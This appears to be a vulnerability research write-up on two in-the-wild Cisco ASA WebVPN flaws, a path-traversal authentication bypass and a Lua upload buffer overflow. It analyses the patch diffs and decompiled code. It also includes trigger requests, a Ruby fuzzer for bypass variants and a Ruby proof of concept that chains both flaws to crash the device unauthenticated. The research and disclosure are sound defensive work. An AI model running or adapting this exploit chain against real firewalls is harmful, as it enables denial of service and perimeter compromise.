Overview
On September 25, 2025, Cisco published advisories for two new vulnerabilities, CVE-2025-20362, and CVE-2025-20333, which are known to be exploited in-the-wild as a zero-day, by an as-yet unknown threat actor in what appears to be a highly targeted attack.
Additional documentation from Cisco suggest a third vulnerability, CVE-2025-20363, may also have been leveraged in the attack. However, the same Cisco document states that based on collected evidence, only CVE-2025-20362, and CVE-2025-20333 are currently known to be used by the attacker.
The vulnerabilities, CVE-2025-20362 and CVE-2025-20333, comprise an exploit chain that allows an attacker to achieve unauthenticated remote code execution (RCE) against a vulnerable device. CVE-2025-20362 is an authentication bypass due path traversal, and CVE-2025-20333 is a buffer overflow vulnerability, allowing for memory corruption to occur.
Both vulnerabilities are present in an affected device with the clientless VPN feature enabled, i.e. WebVPN. This feature allows a user to log into a device over HTTPS via their browser, as opposed to using a dedicated VPN client such as AnyConnect.
Our analysis will detail the root cause of both CVE-2025-20362, and CVE-2025-20333. We have found that the authentication bypass is a variant of a previously known path traversal issue, CVE-2018-0296. In addition, achieving RCE is non-trivial. Our analysis will show how to trigger the overflow, but we do not go further and leverage the overflow for arbitrary code execution.
For this analysis we used a vulnerable version of ASAv, version 9.16.4.84, and a patched version of ASAv, version 9.16.4.85. Given that CVE-2025-20363 is stated to have been patched in version 9.16.4.84, we assess with a high degree of confidence that this analysis describes the vulnerabilities CVE-2025-20362 and CVE-2025-20333.
As we located the overflow first, we will begin by describing CVE-2025-20333. Understanding where CVE-2025-20333 is located was required in order to then locate the authentication bypass CVE-2025-20362.
CVE-2025-20333: The buffer overflow
We know based on the vendor advisory, that CVE-2025-20333 has a Common Weakness Enumeration (CWE) of 120, or “Buffer Copy without Checking Size of Input”. With this in mind we expect to find some form of memory corruption issue due to a buffer copy routine or length issue.
As per the vendor advisory, the vulnerability is known to be located in the WebVPN feature and requires authentication, in the form of valid VPN user credentials, to trigger via a HTTP(S) request. The WebVPN feature of a Cisco ASA appliance is implemented in the binary /asa/bin/lina.
After diffing this binary, and examining the changes, the below code stands out. On initial inspection it seems to relate to the copying of data into a buffer and the addition of a new length check.
We can note that these changes appear to be in a Lua code base. The lina binary will create an HTTPS server, and incoming requests to many URI endpoints in this server will be handled by Lua scripts. Lua is a garbage collected language that should be memory safe, and is not the location we would expect to locate a memory corruption vulnerability such as a buffer overflow. However, given the nature of the changes our focus begins here.
@@ -156,18 +156,22 @@ if("upload" == mode) then
local bufsize = 8192
local buf = BUFFER_ALLOC(bufsize)
_, _, _, boundary = string.find(boundary, "([^;]+);(.*)")
--_DEBUG_PRINT("boundary ..." .. boundary)
if boundary ~= nil then
--_DEBUG_PRINT("boundary ..." .. boundary)
_, _, _, boundary = string.find(boundary, "([^=])=(.*)")
- if (boundary ~= nil) and (left >= (string.len(boundary) + 8)) then
- left = left - (string.len(boundary) + 8)
+ local boundary_length = 0
+ if (boundary ~= nil) then
+ boundary_length = string.len(boundary) + 8
+ end
+ if (boundary ~= nil) and (boundary_length < bufsize) and (left >= boundary_length) then
+ left = left - boundary_length
if (buf ~= nil) and (fs ~= nil) and (server ~= nil) and (path ~= nil) and (leftstr ~= nil) then
local readinlen = 0
local filename = ""
left, readinlen, csrf_token_valid = readCSRFtoken(buf, bufsize, readinlen, left)
if csrf_token_valid ~= false then
left, readinlen, filename = readfilename(buf, bufsize, readinlen, left)
@@ -221,17 +225,17 @@ if("upload" == mode) then
if fo ~= nil then
FILE_CLOSE(fo)
if failed == false then
ret = true
end
end
end -- if filename ~= ""
end -- parameters passed in from url
- HTTP_CONTENTTOBUFFER(buf, string.len(boundary) + 8)
+ HTTP_CONTENTTOBUFFER(buf, boundary_length)
end -- boundary
-- read the remaining stuffWe can see from the above diff that the patched version adds a new variable boundary_length. This new variable will hold the string length value of something called boundary, should a boundary exist. The patch then adds a new check to ensure the boundary_length is less than the bufsize, which we can see is 8192 bytes, and another new check to ensure the boundary_length is less than the left amount, which is the remaining data length left to process. Finally towards the bottom of the diff, we can see a call to a function HTTP_CONTENTTOBUFFER now takes boundary_length as the second parameter rather than the value of string.len(boundary) + 8.
Examining the full Lua code below (with some non-relevant pieces removed for brevity), reveals more.
-- ...snip...
local mode = HTTP_GET_PARAM_BY_NAME("mode")
local csrf_token = nil
local csrf_token_valid = false
local csrf_err_msg = "CSRF token mismatch"
-- ...snip...
if("upload" == mode) then
local ret = false
local failed = false
local fs = HTTP_GET_PARAM_BY_NAME("fs")
local server = socket.url.unescape(HTTP_GET_PARAM_BY_NAME("server"))
local path = socket.url.unescape(HTTP_GET_PARAM_BY_NAME("path"))
local sourceurl = HTTP_GET_PARAM_BY_NAME("sourceurl")
local leftstr = HTTP_HEADER_BY_NAME("Content-Length")
local boundary = HTTP_HEADER_BY_NAME("Content-Type")
local left
if (leftstr ~= nil) then
left = tonumber(leftstr)
else
left = 0
end
local bufsize = 8192
local buf = BUFFER_ALLOC(bufsize) -- [4]
_, _, _, boundary = string.find(boundary, "([^;]+);(.*)")
--_DEBUG_PRINT("boundary ..." .. boundary)
if boundary ~= nil then
--_DEBUG_PRINT("boundary ..." .. boundary)
_, _, _, boundary = string.find(boundary, "([^=])=(.*)")
if (boundary ~= nil) and (left >= (string.len(boundary) + 8)) then -- [1]
left = left - (string.len(boundary) + 8)
if (buf ~= nil) and (fs ~= nil) and (server ~= nil) and (path ~= nil) and (leftstr ~= nil) then -- [2]
local readinlen = 0
local filename = ""
left, readinlen, csrf_token_valid = readCSRFtoken(buf, bufsize, readinlen, left)
if csrf_token_valid ~= false then
left, readinlen, filename = readfilename(buf, bufsize, readinlen, left)
end
if filename ~= "" and csrf_token_valid ~= false then
path = filejoin(path, filename)
local res
local fo, res = NETFS_FILE_OPEN(fs, server, path, "w")
--_DEBUG_PRINT("NETFS_FILE_OPEN ..." .. server .. "....." .. path)
if left > 0 then
-- flush what is left first
if fo ~= nil then
FILE_WRITE_BUFFER(fo, buf, readinlen)
end
left = left - readinlen
local readin = 0
local written = 0
local last_update = os.time()
local sid = HTTP_COOKIE_BY_NAME("webvpn")
local ostime
while (left > 0) and (readin == written) do
local readsize
if left > bufsize then
readsize = bufsize
else
readsize = left
end
readin = HTTP_CONTENTTOBUFFER(buf, readsize)
ostime = os.time()
if ostime - last_update > 10 then
last_update = ostime
SESSION_VALIDATE(sid,true)
end
left = left - readin
if fo ~= nil then
written = FILE_WRITE_BUFFER(fo, buf, readin)
else
written = readin
end
if (readin ~= written) or (readin <= 0) or (written <= 0) then
break
end
end
if (written ~= readin) then
failed = true
end
else
-- bad request
end
if fo ~= nil then
FILE_CLOSE(fo)
if failed == false then
ret = true
end
end
end -- if filename ~= ""
end -- parameters passed in from url
HTTP_CONTENTTOBUFFER(buf, string.len(boundary) + 8) -- [3]
end -- boundary
-- read the remaining stuff
local chunk_size = 8192
while left > 0 do
if left < chunk_size then
chunk_size = left
end
HTTP_CONTENT2BUFFER2(chunk_size)
left = left - chunk_size
end -- left > 0
end -- boundary
if buf ~= nil then
BUFFER_FREE(buf)
end
if sourceurl ~= nil then
?><html><body><script><?
if ret ~= true then
local err_msg = "Failed to upload file"
if csrf_token_valid == false then
err_msg = csrf_err_msg
end
?>alert('<?OUTL(err_msg)?>');<? -- [5]
end
?>location.href="/+CSCOE+/files/browse.html?code=init&path=<?OUT(socket.url.escape(sourceurl))?>"</script></body></html><?
end
else
-- ...snip...
endWe can now begin to understand the problem. The “boundary” in this context is the boundary value supplied in an HTTP request that contains a content type of application/x-www-form-urlencoded, and content data composed of boundary delimited elements.
In the vulnerable version of the above Lua, if the remaining content data left to process is more than or equal to the size of the boundary string (plus an additional 8 bytes, presumably to account for several -- and \r\n sequences) ([1] above), then we can reach the check where several variables are tested for being nil ([2] above). If all of these variables are not nil, then the content data will be read and processed, however if any of these variables are nil, processing will be skipped and the call to HTTP_CONTENTTOBUFFER will happen instead ([3] above).
We can see in the vulnerable version, the call to HTTP_CONTENTTOBUFFER will take the string.len(boundary) + 8 as the second parameter. However, no sanity check has been performed to ensure that string.len(boundary) + 8 is less than or equal to the buff size, which is a fixed 8192 bytes (as allocated at [4] above).
Therefore, if we can force the if condition at [2] above to be false, and we supply a boundary value greater than 8192 bytes, we can call HTTP_CONTENTTOBUFFER with a length value greater than the buffer size. This is suspicious.
To understand if this can be leveraged for a buffer overflow, we need to understand what HTTP_CONTENTTOBUFFER does, and if it imposes any length checks in its operation.
First we examine what BUFFER_ALLOC is, as this is responsible for allocating the buffer in the above Lua code at [4]. BUFFER_ALLOC is implemented in native code within the lina binary. Examining the decompilation shows this function wraps a call to occam_alloc_impl2, allocating a buffer via the “OCCAM” memory allocator, and returning it to the Lua caller.
__int64 __fastcall BUFFER_ALLOC(struct_result *lua_state, double a2)
{
double size; // xmm0_8
const void *chunk; // rax
unsigned int success; // edx
size = lua_tonumber(lua_state, 1);
chunk = occam_alloc_impl2(13, (int)size + 1, (__int64)"aware_buffer_alloc", 0LL);
success= 0;
if ( chunk )
{
maybe_lua_push_thing(lua_state, (__int64)chunk);
return 1;
}
return success;
}Inspecting the decompilation of HTTP_CONTENTTOBUFFER, we can see the first parameter passed in the Lua call to HTTP_CONTENTTOBUFFER will be the buffer previously allocated by BUFFER_ALLOC. The second parameter will be a length value, corresponding to the number of bytes to read into the buffer. The function will proceed to read up to the supplied length amount from the HTTP requests content data, into the destination buffer. There does not appear to be any sanity checks to ensure the destination buffer is large enough to hold the attacker supplied length amount of content data.
__int64 __fastcall HTTP_CONTENTTOBUFFER(_QWORD *lua_state, double a2)
{
void *dst_buffer; // r14
double size; // xmm0_8
int size_1; // r12d
__int64 v5; // r8
int v6; // r9d
__int64 v7; // r15
__int64 v8; // rax
__int64 v9; // rsi
signed __int64 v10; // rbx
const void *v11; // rsi
int v12; // r12d
__int64 v13; // r8
int v14; // r9d
__int64 v15; // rdx
int v16; // eax
__int64 read_size; // rdx
int v19; // eax
double v20; // xmm0_8
int v21; // [rsp+8h] [rbp-38h]
int v22; // [rsp+8h] [rbp-38h]
dst_buffer = (void *)maybe_lua_to_rawptr(lua_state, 1); // first parameter form Lua
size = lua_tonumber(lua_state, 2); // second parameter form Lua
size_1 = (int)size;
sub_2DA7430((__int64)lua_state, "aware_ctx", size);
sub_2DA7720(lua_state, -10001);
v7 = maybe_lua_to_rawptr(lua_state, 3);
v8 = *(int *)(v7 + 448);
v9 = *(_QWORD *)(v7 + 432);
v10 = *(_DWORD *)(v7 + 512) - (int)v8 - v9;
if ( v10 <= 0 )
{
read_size = *(_QWORD *)(v7 + 424) - v9;
if ( size_1 <= 0 || read_size <= 0 )
{
v20 = 0.0;
}
else
{
if ( size_1 <= read_size )
read_size = size_1;
v19 = sal_fread((__int64)dst_buffer, 1LL, read_size, *(_QWORD *)(v7 + 520), v5, v6);
if ( v19 < 0 )
{
v22 = v19;
sub_2C869A0(off_573A240, "../../unicorn/aware_apps/api/aware_lua_http_api.c", 692LL);
v19 = v22;
}
*(_QWORD *)(v7 + 432) += v19;
v20 = (double)v19;
}
sub_2DA73B0((__int64)lua_state, v20);
}
else
{
v11 = (const void *)(*(_QWORD *)(v7 + 504) + v8 + v9);
if ( size_1 <= v10 )
{
memcpy(dst_buffer, v11, size_1);
*(_QWORD *)(v7 + 432) += size_1;
sub_2DA73B0((__int64)lua_state, (double)size_1);
}
else
{
v12 = size_1 - v10;
memcpy(dst_buffer, v11, v10);
v15 = *(_QWORD *)(v7 + 424) - *(_QWORD *)(v7 + 432);
if ( v12 > 0 && v15 > 0 )
{
if ( v12 <= v15 )
v15 = v12;
v16 = sal_fread((__int64)dst_buffer + v10, 1LL, v15, *(_QWORD *)(v7 + 520), v13, v14);
if ( v16 < 0 )
{
v21 = v16;
sub_2C869A0(off_573A240, "../../unicorn/aware_apps/api/aware_lua_http_api.c", 692LL);
v16 = v21;
}
*(_QWORD *)(v7 + 432) += v16;
LODWORD(v10) = v16 + v10;
}
sub_2DA73B0((__int64)lua_state, (double)(int)v10);
}
}
return 1LL;
}From the above, we expect to be able to overflow the 8192 byte buffer in Lua, by providing a boundary value whose length is greater than 8192 bytes. We can then force the vulnerable code path (at [3] in above Lua) to be reached. This in turn will read the boundary length amount of content data from the current HTTP request into the 8192 byte buffer, overflowing the buffer if the boundary length is more than 8192 bytes in size.
The final piece is to pass the check at [2] in the above Lua. If we omit a HTTP param named fs, then the fs variable will be nil. This forces the condition at [2] to be false, and we reach the vulnerable call to HTTP_CONTENTTOBUFFER. The other HTTP parameters, server, and path, and the HTTP header Content-Length must all be supplied, as to not supply any of these parameters will cause the request to fail prematurely. The HTTP parameter mode must be the value upload.
The vulnerable Lua code is stored in a RAM file system, in the file webvpn_files/files_action.lua, and is accessible via the authenticated URI /+CSCOE+/files/file_action.html.
Putting all the pieces together, we can trigger the authenticated buffer overflow with the following HTTP request, as shown below. We can see that as we do not yet have the authentication bypass, a valid webvpn cookie must be supplied. This cookie is retrieved by logging in to the target WebVPN portal with valid WebVPN user credentials.
GET /+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz HTTP/1.1
Host: 203.0.113.1
Content-Type: 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The authentication bypass
Having located the buffer overflow vulnerability in the authenticated endpoint /+CSCOE+/files/file_action.html, we now want to locate the authentication bypass vulnerability, CVE-2025-20362, so that we can trigger this buffer overflow unauthenticated.
The binary diff between the patched and vulnerable version of lina is complex, and several dead ends around cookie filtering and the /CACHE/ root path were examined. Ultimately we noted that the vendor advisory for CVE-2025-20362 referenced a Snort detection rule 46897, which is the same rule used to detect an older vulnerability, CVE-2018-0296. Upon reading an analysis for this older vulnerability, we learned that the URI path /+CSCOU+/../+CSCOE+/files/file_list.json was used to bypass authentication and access an endpoint in the same path segment, /+CSCOE+/files/, that our overflow, CVE-2025-20333, is located on.
We observed in our binary diff that the function UrlSniff_cb was modified in the patch. As this is the function that applies path normalization, e.g. removing redundant segments like ./ and processing double dot path segments like ../, we wrote a simple fuzzer to test for variations of CVE-2018-0296 against our desired endpoint for CVE-2025-20333.
Our fuzzer will construct a potential path traversal from eight items from the set ., /, %2e, %2f, and an empty string (required to generate some sequences with less than eight items). The intent is to construct simple variations of an expected traversal, such as ../, with more complex variations such as ..//.., //..//, %2e.%2e/, and so on.
We know if we successfully reach the target authenticated endpoint /+CSCOE+/files/file_action.html, a response of CSRF token mismatch will be sent. This response is generated by the Lua code webvpn_files/files_action.lua that services this endpoint (See [5] in the Lua from the previous section). So we use this oracle as a way to identify if a successful traversal has occurred.
Our fuzzer is shown below.
require 'httparty'
$target = 'https://203.0.113.1'
HTTParty::Basement.default_options.update(verify: false)
['.', '/', '%2e', '%2f', ''].shuffle.each do |c1|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c2|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c3|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c4|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c5|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c6|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c7|
['.', '/', '%2e', '%2f', ''].shuffle.each do |c8|
$stdout.write('.')
url = "#{$target}/+CSCOU+#{c1}#{c2}#{c3}#{c4}#{c5}#{c6}#{c7}#{c8}+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz"
response1 = HTTParty.get(url, follow_redirects: false, headers: {
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36',
'Content-Type' => 'application/x-www-form-urlencoded;b=ss',
'Referrer' => "#{$target}/"
})
# BINGO
if response1&.body&.include? 'CSRF token mismatch'
pp '*' * 32
pp url
p response1.code
p response1.body
pp '*' * 32
throw 'win'
end
rescue EOFError, URI::InvalidURIError
$stdout.write('-')
end
end
end
end
end
end
end
endRunning our fuzzer for a few minutes quickly identifies a successful path traversal, as shown below.
We can see that a path normalization issue is present, and that an authentication bypass, very similar to CVE-2018-0296, allows us to access our target authenticated endpoint with no authentication.
Whereas CVE-2018-0296 leveraged a path traversal via /+CSCOU+/../+CSCOE+/, to bypass authentication, we can now use the path traversal /+CSCOU+/.//../+CSCOE+/ to bypass authentication and reach our target endpoint.
Ultimately we note that upon several runs of the fuzzer, several variations are found. The common theme is a double dot path segment with two leading forward slashes, e.g. //../.
The below HTTP(S) request can be used to test the authentication bypass. If successful, the HTTP 200 response will contain the string CSRF token mismatch within the response content.
GET /+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz HTTP/1.1
Host: 203.0.113.1
Content-Type: application/x-www-form-urlencoded;boundary=ee
Content-Length: 8
aabbccddUpdate: Additional information, provided by CODE WHITE after publication of this analysis, shows that some vulnerable versions of ASA may respond with the string Failed to upload file within the response content. Therefore testing for either CSRF token mismatch or Failed to upload file within the response content data should successfully identify a vulnerable target.
PoC
The following Ruby PoC chains CVE-2025-20362 and CVE-2025-20333 together to trigger the overflow and crash the lina process.
# PoC to trigger CVE-2025-20362 + CVE-2025-20333
# ==============================================
#
# Usage
# -----
# ruby cisco_poc.rb -t https://203.0.113.1
#
require 'httparty'
require 'optparse'
HTTParty::Basement.default_options.update(verify: false)
def trigger(target)
buffer_length = 8192
overflow_length = buffer_length + 4444
throw "[-] Must overflow more than #{buffer_length} bytes" if overflow_length <= buffer_length
$stdout.puts "[+] Triggering..."
r = HTTParty.get(
"#{target}/+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=bar&sourceurl=qaz",
headers: {
'User-Agent' => 'Mozilla/5.0',
'Content-Type' => "application/x-www-form-urlencoded;b=#{'B' * (overflow_length - 8)}",
'Content-Length' => "#{overflow_length}",
},
body: 'A' * overflow_length
)
# You may or may not get back a response code. This PoC overflows an 8192 byte buffer, but does not attempt to
# do anything other than that. So the target lina process will likely crash due to OCCAM pool corruption.
if r
$stdout.puts "[?] Got a response code: #{r.code}"
pp r.headers
pp r.body
end
end
target = nil
OptionParser.new do |opts|
opts.banner = 'Usage: cisco_poc.rb [options]'
opts.on('-t', '--target VALUE', 'Target URL (e.g. https://203.0.113.1)') do |v|
target = v.chomp('/')
end
end.parse!
unless target
$stdout.puts '[-] Error, you must pass a target URL: -t VALUE'
return
end
$stdout.puts "[+] Target: #{target}"
trigger(target)Below, we run the PoC against a vulnerable ASAv device (version 9.16.4.71, released September 24, 2024) and show the system crashing and rebooting. The PoC does not attempt to leverage the overflow beyond overwriting adjacent memory with a long sequence of A characters, hence the crash is non deterministic.
A video of the crash occurring can be found here (MP4).
References
